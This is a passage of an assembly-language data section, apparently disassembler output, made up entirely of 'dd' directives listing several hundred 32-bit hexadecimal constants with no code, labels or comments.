		dd 0F21FA23h, 20F4EFBEh, 0D2A1E9E4h, 0C5845B2Eh, 406AE306h
		dd 0D85DE904h, 9BAB4A2Fh, 5B7C1786h, 0AF960EB8h, 5FE9A7DCh
		dd 0A557BC9Fh, 461658FDh, 4D48F352h, 0D0A14FA2h, 0F45F3A92h
		dd 77066D85h, 0C2016B25h, 5808814Ah, 8898A32Dh,	0B8386802h
		dd 8EAF4E30h, 8AEC4A41h, 1352D2A2h, 7737B830h, 20172CC2h
		dd 681B128Bh, 0AAF716AFh, 5CF5283h, 28F1170Eh, 0CDDA0955h
		dd 0C9F9D955h, 6A829F90h, 0A4A0F37Dh, 2B12F8FDh, 22BE313Fh
		dd 0A77FFB8Ch, 26F1F753h, 602B36AFh, 6EEC2D9Ah,	761C2E2Fh
		dd 120720B9h, 0FADC60E9h, 5B7C5AE7h, 0F7B705F4h, 0D2DB82DBh
		dd 675B6CE9h, 0EA407AC3h, 0B7E104B6h, 81F728D5h, 25E52756h
		dd 7AD1D8B8h, 97FEF1BDh, 0C0838347h, 0C18081F7h, 70CEC155h
		dd 0E7B52AEBh, 0B246156Fh, 44E2800Bh, 40B0B306h, 963F5426h
		dd 0E7066F41h, 41D96330h, 280E3F50h, 77E38943h,	82F02F07h
		dd 0C4FD2F66h, 15E925ECh, 0CE084153h, 0D8F70ED4h, 4B24D04Fh
		dd 0BC89AF4Fh, 177B43Fh, 2768F548h, 0BD567BA4h,	3085F3A5h
		dd 0AADDAF5Ch, 1A686A00h, 3C30BF36h, 49582264h,	0D1D3177h
		dd 5160EF29h, 0E95F12FAh, 2A4AB1E6h, 773461AEh,	7DD82B36h
		dd 2B5E89F6h, 51E0CBE8h, 216B73E9h, 4216D583h, 0BF51573Eh
		dd 99CFB9E9h, 881631B5h, 9D9D823Bh, 8BE3BCA0h, 7258F240h
		dd 4B121D6Bh, 0E2A174D3h, 0EA25386Dh, 1D8B027Bh, 11C777DFh
		dd 66FCCB37h, 0D8F482BEh, 0F2F1F6C3h, 0BD2AD085h, 0D6681E30h
		dd 0BCED554Eh, 0C6A0AB8Bh, 0C2175DB9h, 0A0C332DEh, 0B04DD367h
		dd 3D10FEE1h, 0F7973A55h, 236DEEF9h, 0BFC49F30h, 0C15AC256h
		dd 0AF04514Dh, 5C89C2F8h, 0EB8028D0h, 5E3909CFh, 41B8F931h
		dd 0C9B9A45Ah, 0B8DE14D2h, 50946F10h, 2A64DFA0h, 0F0AAC789h
		dd 0EC158FFh, 69C46145h, 4087A83Fh, 7F30E908h, 0BBC53546h
		dd 10B53B79h, 2232ED0Fh, 9EE9EC21h, 5DB87ADCh, 46C06882h
		dd 4560FD7Eh, 1A596B16h, 0D41F581h, 685DE603h, 18550D9Ah
		dd 671955h, 0E0C134F2h,	0EAC6808h, 1A7698BDh, 0E87D8264h
		dd 88383BBDh, 580ADAFh,	250F7583h, 30F50176h, 9F5EE966h
		dd 0ECB8E380h, 141F9E1Fh, 33099640h, 0C38930F4h, 5C522968h
		dd 1BB2324Eh, 41F7CA6Ah, 9025911h, 0BB0F02D7h, 0D89CC8B6h
		dd 0D5569D05h, 1B9C5519h, 8093A138h, 66D905A7h,	5512EC27h
		dd 6224B66Ch, 0F1012E64h, 5D866B39h, 689333B8h,	33CCFB2Eh
		dd 7C3027EDh, 0F51731F7h, 2D00F02Ch, 437FFFFBh,	3E520168h
		dd 0B9AD4E1Dh, 0ADF12917h, 7F328BDCh, 0E37E990h, 56056B2Dh
		dd 5D3B3A1Bh, 2D281201h, 30E0F84Bh, 86674AD2h, 9973D9F9h
		dd 300E09F7h, 5558C5h, 0C6B252F7h, 26C23980h, 3876CABDh
		dd 495D1EF2h, 34546E78h, 0A512AC74h, 2730AF5Fh,	1A1A35E1h
		dd 0BE5BA3Dh, 64D28280h, 2592310Ah, 50DA290Ah, 0DD260BB8h
		dd 842B0803h, 850F467h,	7A60EF5Eh, 27665FC1h, 0C25502F6h
		dd 72080B62h, 0B5C871EBh, 0D1EBA27Ch, 6A1342A5h, 2507C67Dh
		dd 0B3AFF3B1h, 0D9C06CE9h, 0B1673B8h, 40A839B5h, 0B407BB94h
		dd 0B2239AD4h, 780B2DEBh, 0E8E9034h, 41D14B0Fh,	780D83DFh
		dd 0C3E07099h, 7C2F94D7h, 736AD64Ah, 2B9CCC04h,	28800D9Fh
		dd 4EB0254Dh, 17F9B8D9h, 52E54453h, 0FA7E522Ah,	6A863EA3h
		dd 0EE05A933h, 2CFA6C38h, 0FC0E4F82h, 872621Dh,	0C117F60Ah
		dd 955ACFA4h, 338E0B0Ch, 6F1F4C0Eh, 5DACD7D1h, 3CAD9861h
		dd 0CAA4436Ch, 36EB3C00h, 0E9652741h, 0B2454B42h, 8A804A55h
		dd 44073719h, 384FE931h, 30788EF3h, 68896A43h, 0D2AC5DC8h
		dd 8A1F055Eh, 0B3026549h, 0D571E854h, 0E9213534h, 0EBA1EA28h
		dd 99EFED3Bh, 0AD010B70h, 0B1643F53h, 0E985D0BEh, 68B76680h
		dd 0B95B3908h, 9AFEA75Dh, 1D9EDE49h, 784705ECh,	0F0F112F7h
		dd 0E529E9D1h, 8708CF7Bh, 5629127Ah, 7E50AE50h,	24EA8098h
		dd 0C4FA2CE0h, 12BE5E6Eh, 95043D06h, 1E9BF487h,	0D7409375h
		dd 0BE9D5297h, 0E8050017h, 8C5249F1h, 408CE310h, 0E6975DCFh
		dd 0E1E620BFh, 0A7685E0Ch
		dd 49702719h, 0DC847BCCh, 7F590932h, 56D59785h,	0BEBADE1h
		dd 0D7C0ED01h, 0C1582C1Ah, 0EE23A320h, 4BFDFCC7h, 523DA31Ah
		dd 49925C6h, 97FABEFCh,	0AA6BA27Ch, 0C35A7EDAh,	0F47F9222h
		dd 0B85C2538h, 0F092F153h, 863E922Fh, 412597E0h, 2AC74B5h
		dd 0B4EC7184h, 604B1AFh, 177DBD52h, 0CAAE72F6h,	7A503F6Eh
		dd 0F8B67D4Fh, 1783ED9h, 0A83D6855h, 0CE25D28h,	277B067Ah
		dd 563ED70Ch, 0BD0A4FF1h, 0C3408C2h, 3A061413h,	0EC71F72Fh
		dd 0E8790CFBh, 0C1C40145h, 0A94208A2h, 0E1497AA6h, 3799E106h
		dd 0B383D9Fh, 380AFFFCh, 41B6A5F7h, 0E6BCD852h,	0E3295613h
		dd 24A6D7F2h, 1EC2B51Ch, 0CBC24EBh, 0E1F33633h,	0CC278996h
		dd 0BFA020DAh, 780FDB90h, 6B72F807h, 0C58B917Bh, 4EBFA82Fh
		dd 9CD7CAF2h, 21125CB8h, 0D629FFD0h, 0C4C9B27Fh, 2822F733h
		dd 4B7F296Ah, 0E9430C62h, 8022823Ch, 0F62FF527h, 0EE31FD5h
		dd 0FF124DA9h, 0A94B2FB3h, 7FA5DE09h, 0F39740BCh, 0D98D8AE0h
		dd 977257Bh, 0BFBD4C21h, 0DC4B0C7Ch, 2C870967h,	8B13C5F5h
		dd 0E4779377h, 308C2003h, 511EB805h, 0DF801B73h, 0FEAF060Ah
		dd 0BF96400Dh, 2A6FF802h, 77474F10h, 4A847F7Ch,	3681BA07h
		dd 0C51298A3h, 3ECD585Dh, 2698D529h, 3D681A71h,	0A56F5BBEh
		dd 0A440A4A7h, 8850E0F2h, 90E3E4D4h, 0EA3425CFh, 591C757h
		dd 0F8CD2D82h, 778748A1h, 9F8A464Ah, 1861BBD3h,	8E3A31B6h
		dd 0EA1D1607h, 0D4D607F2h, 67A0FBB8h, 4D882DE9h, 4157FCA9h
		dd 0DD022939h, 66497450h, 0E4A86701h, 0C48D2EBh, 92A07DAh
		dd 160599AEh, 5DE9688Eh, 59174895h, 0AB5FD1FDh,	0E02AFB6Dh
		dd 0C85631CCh, 87542792h, 0F19282DDh, 4AC47A62h, 0BE278056h
		dd 0CD7EDB18h, 898E039Dh, 85A02CD8h, 83F7A52Bh,	856688D9h
		dd 55CDDDFEh, 1D9AAE6Dh, 3561AF5Fh, 8102C187h, 8E1ED2E0h
		dd 4156222Ch, 568A470Bh, 74B1609Dh, 402F2C99h, 270B0156h
		dd 89D4CD41h, 895A4BD3h, 3AB902D7h, 2E4F93E1h, 2F7754B2h
		dd 0B1285461h, 0DCF22FECh, 60335790h, 0B9D76F34h, 0FB2BE231h
		dd 555D0922h, 510BC6C6h, 58700E28h, 0DCFC953Ch,	58F41D30h
		dd 0FA184BBDh, 31AA545h, 906A3CEAh, 0BAE3444Fh,	91ABCD17h
		dd 0D158E4DBh, 2FEF610Ch, 0E44CE9C7h, 6780FABEh, 94F19ECCh
		dd 0DCFB0AEh, 8D083809h, 0ABDE0207h, 0EB560487h, 0B55EB0F4h
		dd 1F332678h, 0B2AC1018h, 56370B7h, 0F9142FB9h,	0F4D7F11Bh
		dd 5DB27122h, 2D685F09h, 20A8664Eh, 0BC807536h,	0A3B912C9h
		dd 30FC2D93h, 934B14E3h, 0E3A4DCBCh, 4DE25FCh, 94AE5818h
		dd 973DABD1h, 1A44EE2Fh, 16D12E38h, 69CA6EDh, 55DD1FC3h
		dd 0A45EEB57h, 7E411107h, 0E8B44687h, 754C780h,	59EB57E3h
		dd 125D9677h, 4576F968h, 622BB3FFh, 7729E583h, 942D6670h
		dd 72ECF6D0h, 8877C555h, 42246938h, 0FEB013BCh,	6C1939AFh
		dd 3E91742h, 0A8FA7E08h, 0E5B70F62h, 9AC5F888h,	0C09BEAFBh
		dd 0CC26A248h, 0E20FCF05h, 0EE285744h, 7EFCC25h, 9B0128Dh
		dd 3672A2ABh, 31DD1AC0h, 60E916B6h, 5BBA6520h, 375C2239h
		dd 6094003Fh, 49E91A4Fh, 0DBF6B744h, 5A47DA72h,	537DC257h
		dd 9F4EC54Ch, 0BBE61393h, 77249E45h, 296825D1h,	77E812C8h
		dd 39D8F680h, 0C625012Ch, 0A0348C40h, 89D3E92Fh, 0EF03FF32h
		dd 0AF0216B2h, 6B6568B6h, 0FEFBC401h, 956E9A1Bh, 70E41CF7h
		dd 67C35B5Ch, 9468643Ch, 0CAD980AAh, 612D320Dh,	29D80348h
		dd 7271077Ah, 0A3461C78h, 66026374h, 0B72317BDh, 0A8F842FBh
		dd 0E602AE2Dh, 75035C9Dh, 6429B88Ah, 58660186h,	42F6D528h
		dd 0C69875E8h, 905EB753h, 0C00E8EBCh, 5ACBF730h, 0E94165FCh
		dd 680260CFh, 7E140DF6h, 80E32DB4h, 0B151AC91h,	0EE504EFAh
		dd 0CBBF9DD4h, 0F2CB7611h, 0A4757E3h, 0DCE16992h, 8888D1EEh
		dd 0D7CB61CAh, 90ED6385h, 0E3814337h, 0E51ADB0Bh, 2C30560Ch
		dd 0AD4005Ah, 0CB31215Dh, 0B4950CB5h, 52EC4069h, 575A95ECh
		dd 77C123ECh, 34AB9608h, 844A588Bh, 69EE89AAh, 0A048A1h
		dd 11C918CAh, 240EF81h,	0E9099D0Fh, 0EE7F2DBFh,	7010F644h
		dd 9C7D9775h, 1E5C95A3h, 9AF5E0F0h, 0ABC4394Dh,	1420F4A6h
		dd 257FE7E5h, 8965C96h,	54BFDBFAh, 0B7C60FCh, 0B58C2F25h
		dd 637799C0h, 5DA1384Ah, 682B027Bh, 40D1538Eh, 870B9683h
		dd 0FC275FF2h, 0E9CB6174h, 8F785273h, 0B95B9BC5h, 2552856Eh
		dd 82E9E133h, 0B6B7AB3h, 2F103CE5h, 0A165084h, 602FD687h
		dd 3060AD03h, 9C0C2321h, 3D0219B0h, 0FA42ED05h,	2DC24166h
		dd 25C10744h, 0BF000AB6h, 0F4004BDEh, 77CF8154h, 0BD3E2C60h
		dd 62D0743h, 9DB0D806h,	0AB096BDAh, 5CF29259h, 0B52D00B8h
		dd 682F405Eh, 18019927h, 2C480AD6h, 0A82F2B81h,	33921F07h
		dd 0CB05813Eh, 0F84C6638h, 7A12DF0h, 64D87E5Eh,	0FFB76E47h
		dd 2F1B25C1h, 2CD03131h, 0C0536C1h, 9FB90958h, 0C07C59BFh
		dd 39F1A396h, 0C969F82Bh, 580AC17Bh, 732DB86Eh,	8E28010Fh
		dd 2ACBE54Dh, 0E8928BE9h, 0ECC81054h, 95FB9A40h, 0BCD1BB09h
		dd 206FDB49h, 0BF6BB2EDh, 6ADA3C56h, 19445F17h,	1F2A8922h
		dd 6F79D5EAh, 0C29400DCh, 0E2D84A08h, 0DA5C97EAh, 31C8C2h
		dd 8F34E3B9h, 289F4650h, 2FB05017h, 4FC2E601h, 0CAF075D4h
		dd 7D672598h, 97F89FDh,	0ECC75AB6h, 0A2145A2Dh,	3B55D514h
		dd 0FACC4AD4h, 0FF7D53E0h, 7C920B78h, 917F61C2h, 0AB3E66EAh
		dd 95362939h, 57B96802h, 765D46B3h, 0A7015900h,	0A642DD0Dh
		dd 0EF227C55h, 7D3E85B5h, 0F71823DEh, 376768C8h, 3CF3F983h
		dd 898B8C68h, 7F44B2D5h, 0FA9FDFF2h, 28477E98h,	0B50826E5h
		dd 20251CDEh, 2D7B7D47h, 0BADE9F3Ah, 0E9050CC8h, 485636C3h
		dd 227FF290h, 4CB8B0A4h, 609F88F0h, 0A0569920h,	70D837h
		dd 0F18176BBh, 19A3384Ch, 971100BFh, 0B86F1848h, 593B4004h
		dd 36C78019h, 0FEF0AC06h, 138B9A3h, 0CE8DF393h,	82C53929h
		dd 0D44B5EE9h, 60565944h, 0A9F6101h, 55517C98h,	0BFE354F8h
		dd 0BBEE3718h, 5E500ECBh, 0E57F72F8h, 4074E957h, 0E7C557EBh
		dd 51BDE905h, 0BE6A38FAh, 0AA0844E1h, 7CB05917h, 32B60968h
		dd 0DD3DCDh, 35569335h,	960CC17Ah, 206D1D52h, 0E02F69Bh
		dd 8914981Eh, 0C6D3D7F5h, 507A20C9h, 0C1607475h, 0D7A679DEh
		dd 6E816BE8h, 800072E4h, 0C07926E1h, 0C11C0576h, 0F6CEFEECh
		dd 4C98DD9h, 0E8032F61h, 769AE4Bh, 52872F1h, 0ECD6B522h
		dd 7CAD3C66h, 3A901B74h, 0BF57D814h, 48A4808h, 9D754F3h
		dd 7F5E2C82h, 6A6B0880h, 3F29E97Dh, 0B403BC69h,	0DA1F9E19h
		dd 0A6F67113h, 0FBC007Ah, 5485109h, 38712000h, 642B250Ch
		dd 0FE215098h, 0BDCB4F07h, 503E84DFh, 815F3FE3h, 13F4DD1h
		dd 0CC6AA868h, 6701B296h, 0C049EA80h, 0D56005E2h, 0FAC6BF4Fh
		dd 93FDD0F2h, 0B7BE303Ch, 14E9856Fh, 86B88CD0h,	48786Bh
		dd 135D8F7h, 9AF98C6h, 0D9A9C34Fh, 0D70A33E2h, 28BA0C16h
		dd 534F5926h, 0FD84778Ch, 55E96DECh, 4030F0C5h,	40A74173h
		dd 8A4B608h, 0C41AF795h, 55092358h, 0E615AF68h,	33A220C6h
		dd 0F58BB02h, 7D01A5A7h, 5FFBC203h, 26700D4Ch, 8DCC2550h
		dd 3D5112B1h, 0A0D80977h, 0B075C6E2h, 0A82039D4h, 1A74EAFCh
		dd 0C668227h, 27B8F275h, 0E45CB2A6h, 0E394094Fh, 273BE9ADh
		dd 7953F552h, 40032DA7h, 1C4F2DFBh, 0F16D4E8h, 0B61BD1AEh
		dd 316BE13Fh, 92333E87h
		dd 66115829h, 0B6F9EB25h, 66E2881h, 18F08150h, 451C2F63h
		dd 94F7A7C2h, 0BEC7040Dh, 0F961470Ch, 0A5084192h, 0AFC0DC1Ch
		dd 0C7D3197Ch, 966675C9h, 0A0390C20h, 0A44268Dh, 33584127h
		dd 0B46B97A0h, 2D176753h, 84F92BE4h, 0D2990873h, 0E909D41Bh
		dd 2DCA60A9h, 307A19A5h, 4305E028h, 0C8C25A07h,	9E12545Dh
		dd 0BFD125Eh, 0C02B6A9Fh, 8719467Ch, 967CDB16h,	26DC5B26h
		dd 0F88B5A8Ch, 0F8A9B712h, 0CD101A8Bh, 0C41B3E9h, 2832D0EFh
		dd 10719DE8h, 0F884E98Bh, 0DECCBD14h, 7FF634A2h, 0CF2D1420h
		dd 432FAED8h, 40ED318h,	0A8FEE20Ch, 0FC78A1D7h,	431352E6h
		dd 0E4EB3123h, 0A06F694Dh, 4C84143Ch, 0A22D80E3h, 0F29A0DB0h
		dd 36E5B7C6h, 0A5C1E98Bh, 5181BE20h, 0EBE83580h, 1F51BD52h
		dd 6F7205BCh, 0FEA43DAh, 0A898835Dh, 74C98F3h, 0E307763Fh
		dd 539F1F4Ah, 0C75C3C0h, 291E27B3h, 81433DCAh, 24381E94h
		dd 2C41DC8h, 0BCF081FEh, 0CECD2E2Ch, 8960BE2Ah,	40DB3106h
		dd 3C4BD61Dh, 18F02AD0h, 7AF097C6h, 0AC6B4F0Ch,	3E570C43h
		dd 113654Dh, 84610CEh, 4140C68h, 0B59366E9h, 99212E03h
		dd 0BD009D82h, 0B412554Eh, 67005202h, 7B354D75h, 93F09BAh
		dd 8BDD3A5Ah, 8875749Ch, 502790FEh, 0A8562015h,	0D67DF880h
		dd 0EC77FAFBh, 77B800F6h, 55A1502h, 0A1247471h,	0C20030CFh
		dd 810F2F39h, 11461DE1h, 20D7A7D3h, 0C819762Bh,	4B88079h
		dd 551F213h, 0A7AF87BBh, 1BB06BD3h, 97CF6ACAh, 336EE4FEh
		dd 0EFEE8005h, 0B3000DCBh, 0C0C3FE45h, 949502EBh, 0D0B10BF4h
		dd 8680CB08h, 0DE30B6EBh, 513A8B60h, 0A4ECA1E9h, 0F6DA253Eh
		dd 1509BDF9h, 8844F112h, 6C2F1119h, 0B6AA92CEh,	685DF075h
		dd 70BC66EAh, 0F52D1A6Eh, 52162AD9h, 4DE59205h,	175026CCh
		dd 616A1268h, 635F2876h, 0C22D02D1h, 0E166F67Fh, 4D2D3316h
		dd 7A3D2005h, 621CC02Ah, 34C0E36h, 55D41DC6h, 0C10B0724h
		dd 553E6258h, 8788C3CCh, 0F79C3108h, 37466884h,	9DC4CEACh
		dd 98E2FEF5h, 0AC88FA4Bh, 1C9FF329h, 0A194F4B2h, 5EF76DFh
		dd 517E7BB6h, 0AA1A81EFh, 0D815F956h, 2717EBCAh, 0AC2C4996h
		dd 787E0068h, 875D2059h, 0E91349CDh, 0E907A7Bh,	4ABC33C8h
		dd 0C1BEC270h, 5AD50889h, 22E92D80h, 0EC304A40h, 4DE60B90h
		dd 0DF70C6E6h, 33E9E609h, 0D0F4683Bh, 52668089h, 0A0246AC9h
		dd 21D36883h, 595B3E49h, 4A43587Fh, 0E773EAA4h,	0DEE5F5E9h
		dd 82DE26A5h, 0D2CD4F58h, 8581F46Fh, 0A12B2341h, 6C612B3Ch
		dd 0CA2AE451h, 0CE251003h, 6A29FF4Fh, 0C047BEFCh, 0BAA2C5ABh
		dd 17CCF42h, 64BA719Dh,	0F2EE52B6h, 0AC680BEBh,	579A1A70h
		dd 2FEF2C5Eh, 8F76DFEh,	5682D372h, 67586FE9h, 91F38007h
		dd 0C353CBFEh, 0F64AEA20h, 0E15B2729h, 5702382Ah, 7A6412BFh
		dd 3A6E401Ch, 16BE3909h, 159CF96h, 0FE6D38BCh, 0E95F001Eh
		dd 0D0F09D9Ah, 4FAF094Fh, 0FC8450DCh, 7FDDCD58h, 246BC5D9h
		dd 0AEDEE90h, 8872E909h, 37E9795Dh, 167FDB72h, 0D0A6C143h
		dd 3E20BC1Bh, 75BFE013h, 33AD8247h, 5DE2D102h, 8832B7E0h
		dd 62EB6E40h, 5F290F35h, 592FE17Ch, 0F100E920h,	3BAE2725h
		dd 6DEC78C2h, 0FB45C040h, 0AE4B4A5Fh, 0B7238041h, 0D0DB1BEDh
		dd 6F5C0174h, 55E20C44h, 7D075347h, 51233273h, 806A5E4h
		dd 0E5148B0Ch, 0B9CD2012h, 24A1AA44h, 2FB38E6Bh, 5598DF5Ch
		dd 63BA33BAh, 0DFF742B5h, 0F70907D1h, 4E3881DEh, 132E1BE9h
		dd 0ABE4BE6Eh, 0A8214AFDh, 94D7B112h, 6BBCB67Bh, 51EA398Ah
		dd 92C0E9DCh, 0C9810EC3h, 53258FFh, 0D0DD454Ah,	531804D3h
		dd 0D8011F0Ah, 712F0705h, 6C93C20Ch, 0D986BB77h, 9B2F5134h
		dd 6B681A5Ch, 165AFDEFh, 6C7E0F00h, 3DF68142h, 0EC8E5B51h
		dd 8B987E54h, 8C186A60h, 5787E685h, 0BC5EAF01h,	0D650B2C1h
		dd 0A7E78B8Ah, 207ED709h, 0BE44A204h, 0A32D80BBh, 14B63418h
		dd 0B929D802h, 961D60Eh, 0CEF961DEh, 69A20FA2h,	3ACF5D7Ch
		dd 0BC260A40h, 3E52710Ch, 4B0F2568h, 51C2AEF6h,	0F2E911B9h
		dd 96D7056Ah, 0C439E37h, 0EDC9BF0Ch, 0F3C7092Ch, 2CB92D07h
		dd 10AE2734h, 5D0507EDh, 8DBFACE9h, 8B57E68Ch, 0ECE657EFh
		dd 5A90C25Ch, 0CE502FCh, 0F5732E10h, 1B39D30Eh,	3CE5C0F6h
		dd 0C13D787Bh, 182A2E18h, 96BA4005h, 1369245Eh,	0BDB6D20Ch
		dd 0ED3D0BC0h, 0B7534AC0h, 0F5A0B4D6h, 5489DDEEh, 0FEAF167Fh
		dd 5A00B594h, 23358EB8h, 2EED227Ah, 48BB8B00h, 9775C371h
		dd 0E20166D4h, 7B36CDEh, 5F98C140h, 0BC3F4BCDh,	39EEE4CAh
		dd 0DCD16AC4h, 6582180Ah, 0D82212F0h, 0A512565Dh, 0E9E166D9h
		dd 0F9384DC2h, 0EEEF53D3h, 20E91138h, 0F4BD5FF0h, 779F831Bh
		dd 0CCF1793Ch, 28B36B64h, 0B2F5212Dh, 6BC2F7CEh, 0EFBE83F7h
		dd 577824DBh, 71DE0427h, 84FBC482h, 0C72F00CBh,	19D262ECh
		dd 57619E99h, 496A20E9h, 93DFEFF9h, 0D4EFB40Ch,	1002F818h
		dd 6809ABDBh, 425965B9h, 1010388Ch, 0E8799DB8h,	0C4F441Fh
		dd 70B9EB58h, 0AF5F5BCEh, 5B9F3057h, 4B5AF712h,	41875086h
		dd 0DDB8A251h, 8C1D73FFh, 0C6BD32AFh, 452B7909h, 0FAF8D706h
		dd 445B0881h, 8A98828Fh, 0CAC25405h, 505BFF3Dh,	2F265746h
		dd 0C2F174FBh, 9A994F3Dh, 76E9C484h, 0A1CE1846h, 60031F13h
		dd 50110B55h, 7E1DCF68h, 0F1ED3171h, 0B3F05563h, 53465B76h
		dd 0E7F6110h, 7E2E16BFh, 0E1A5D35Eh, 13492B8Bh,	7EC650E1h
		dd 0C78D5EC3h, 6DF58B95h, 0F8079348h, 40A74FE7h, 7355C3C9h
		dd 0A8DD2F6Bh, 4612A10Ah, 0FC9269F8h, 5251A089h, 0B1F704B2h
		dd 0AAD128E1h, 0CD17EEE2h, 77D9BA95h, 0AF33CC2Ah, 0BCA34A4Bh
		dd 0BE9DD412h, 9F102EA2h, 0C3EC5B50h, 7922A78h,	17D994B0h
		dd 29CC8134h, 1807FEEh,	80051ABAh, 4C0678C1h, 0CE3156F2h
		dd 414DDFC8h, 615A65E3h, 29328F46h, 1FEDC7Dh, 79436DF1h
		dd 48CEE945h, 1EFE0578h, 8912935Ch, 255C2002h, 0DE2AF7A0h
		dd 524F8D59h, 0CC2B17F1h, 5B6166B2h, 3225F671h,	492008FDh
		dd 0AE3E4A53h, 124EA4CBh, 0C3A7EF2Eh, 0F908E918h, 354B5D68h
		dd 0C57FA227h, 74AA3C79h, 0E86DC33h, 0B99DBE5Bh, 203D8A92h
		dd 0A2EF57E2h, 0C629D607h, 8FE45258h, 4F68BD90h, 9FD936Eh
		dd 3FA91DBCh, 66DA88D7h, 72BA528Bh, 1D50BF13h, 7AB4CCC0h
		dd 92D75EAh, 71F62C3Fh,	0A3F80C05h, 489869DBh, 826754BAh
		dd 2DB1785Dh, 0FEA057FCh, 3104F5Fh, 13F04950h, 196BE209h
		dd 6079D729h, 4BE7E970h, 6877C87Bh, 5B2A7238h, 296739BBh
		dd 4A47C41Fh, 41D52D0Bh, 0A87A054Ch, 0BD681356h, 311766F9h
		dd 7431AEB0h, 406B2BAAh, 0A7592348h, 0A8C34E6Ch, 0F8B1971Ch
		dd 9F2C0DE9h, 76258DC6h, 76291209h, 895725FCh, 0A1FCD850h
		dd 2D41370Dh, 0A22E02C6h, 0CBBF96CDh, 7EC140E2h, 0BF2B5181h
		dd 0B82F212Dh, 6818D81Ah, 0E1186469h, 0AB68D572h, 7600CED5h
		dd 0D008EEC0h, 3E6828E6h, 0B03AC75Eh, 3E8F314h,	5C05AEB3h
		dd 0C628342Ch, 0BBD565FBh, 97803A0Fh, 0E9F09B01h, 0FE505C8Ch
		dd 1D7825E3h, 0A4C17B7Ah, 91CB019Ch, 0FC548E08h, 28180AEBh
		dd 0EE0C4F1Dh, 0E3F927FBh, 0FF973778h, 1C607C83h, 525AF200h
		dd 7EF16856h, 5E6B2875h, 57A30BCBh, 689FA6Fh, 5B4CA778h
		dd 0E5C1B09Ch, 0C109B405h, 0F030D279h, 0D4BF5CE9h, 0BB583CAh
		dd 0ABD96C9Eh, 0F4B90098h, 126A1E40h, 4905CBC1h, 6CA02BF8h
		dd 2A7A94BBh, 0C889501Ch
		dd 0F713C296h, 0C5844EAAh, 709D0BE0h, 275FE868h, 213BEC30h
		dd 9DC1B713h, 0EBA32B14h, 39E5E463h, 8AF30987h,	0FF398B47h
		dd 0E9860915h, 80DF63D0h, 920F3DF4h, 6ED1BD61h,	0DE8D850Bh
		dd 755AF394h, 0E9AC14E8h, 0B3F4735Ah, 200498F5h, 0D0B53C9Dh
		dd 0A420BDFCh, 25245BC3h, 125E647Bh, 5F9B82C7h,	660BADB4h
		dd 5A037B68h, 77534C03h, 50D80B10h, 0F4B55EE5h,	1308ACD6h
		dd 6BA387AAh, 5BFD1CB2h, 181DAC7Bh, 0EBC79756h,	0CA102438h
		dd 8E3561D3h, 7DC6011Dh, 291C7275h, 1A744FEh, 57685F08h
		dd 0BAC34C78h, 0EC446601h, 5AB3E97Fh, 6564FA2Bh, 0D9744A87h
		dd 7AAED5D1h, 0B724530Ch, 0E925CF37h, 2A9EC9h, 3EE05FBh
		dd 20B06E70h, 5A9B1B54h, 0E0F03177h, 21EB415Fh,	3350BBFEh
		dd 37BD0366h, 0E963041Bh, 0A27D4D9Ch, 1FB9E95Ah, 3A49F229h
		dd 589C7F9Dh, 16B42EFCh, 76D0BA01h, 0E86F54DCh,	7FF200B8h
		dd 5617396Eh, 0A2D65889h, 8B58D63h, 46D482BAh, 71C1351Dh
		dd 0C5310211h, 0C0EAEDF0h, 334AEF6Fh, 5B7C5662h, 0A7A0EE2Dh
		dd 0D7DBA6E8h, 3190C9ECh, 3DC34134h, 2BE66DC0h,	0B5CBFA28h
		dd 9EB8751Eh, 0D35F3058h, 0E9C713EBh, 0A94D7FC6h, 0D36800FEh
		dd 5F8862BDh, 6F96D31h,	0E4A16A2Ah, 322EB261h, 4C778960h
		dd 3BE91678h, 5E6DBA26h, 5942CB2Bh, 8DBA4A0Bh, 2427EF67h
		dd 0EB1A5F5Bh, 5396987Dh, 0BD37BA67h, 2B2A881h,	6E696079h
		dd 5D6B5144h, 0D727B549h, 0F2F0E79Ah, 0F97C35Dh, 4B0F780h
		dd 0A896CB15h, 5B0506F2h, 100D7219h, 0EE47A180h, 0CDD7C6FFh
		dd 0D5EAF25h, 4D129E4h,	0A24EBA0h, 0DDF60BD5h, 2A82B353h
		dd 0BBD5041Dh, 1B91D9AAh, 28817465h, 285CB533h,	3A4420DDh
		dd 0FD6F5A81h, 2170843Bh, 9007DBA9h, 0B21D8816h, 2749E046h
		dd 2578DC47h, 0BDC946BDh, 0D01B450Ah, 63625B68h, 0DA344093h
		dd 6EA905A2h, 0A0591108h, 0C53B5210h, 0DEC90264h, 0DE2A1A25h
		dd 57C10181h, 3EF1236Bh, 5DE81890h, 0E9531C52h,	0BEBBED75h
		dd 0FAF476DAh, 72F35627h, 3FC2C0F6h, 81DCC18h, 6DDC6850h
		dd 3F65D76Bh, 0B9682A8Ah, 9B27A740h, 0AD80976Eh, 0F753545Bh
		dd 124ADA30h, 4C5E3FEEh, 0C6011555h, 0E939E766h, 0BAC67406h
		dd 0B905C209h, 18F7662h, 7E0EBD55h, 9E806F1Eh, 0B2C602Ah
		dd 52E4E978h, 0BF889DD9h, 0BAB9015Fh, 2B776650h, 6AC3118Ch
		dd 1416042h, 722D70DAh,	0BDDE4255h, 4E086801h, 825A303Eh
		dd 62607165h, 12D5D76h,	9D0B068h, 67050375h, 10D73C40h
		dd 5D250227h, 0A9A3D1A0h, 0DDA037BBh, 7F3F62C8h, 0A54C2D2Eh
		dd 80BAD9E7h, 71676D33h, 0F33881E4h, 6A097BE4h,	56B057E9h
		dd 17D780Bh, 4F17A902h,	0D48403E9h, 6D68616Fh, 0C7E3074Bh
		dd 0FB6D5EFAh, 8BC3C427h, 30181D2Fh, 48DAC9C3h,	0CBDFBC25h
		dd 0CCE90B6Fh, 2E322C8Ch, 37EE4AA1h, 0FC8194EFh, 478F0D57h
		dd 0A4EF8924h, 1BB44ABh, 2EAAC2EBh, 0E6EAEF0Eh,	9DFA4DCh
		dd 3B3517E5h, 0AF10C27Ch, 0B28B403Ch, 29032947h, 4B516DD6h
		dd 0ED55CEF4h, 278CA4F7h, 97229677h, 667411D7h,	7144FB3Ah
		dd 8EBA175Fh, 0DEE9826Fh, 178C4C5Ah, 717E8A68h,	0BF9BE992h
		dd 2E039527h, 50282EA4h, 32F7EA40h, 47D76ABh, 593AB7CAh
		dd 7B8A805Fh, 5A5F3FBFh, 1123DB8h, 0CC2507F1h, 0E9251044h
		dd 45C95D93h, 0BDE1DFF2h, 0F991215Fh, 3A843F44h, 136D8BEEh
		dd 9A94A035h, 20E7F2FAh, 31490B81h, 44D71FBCh, 740A82DEh
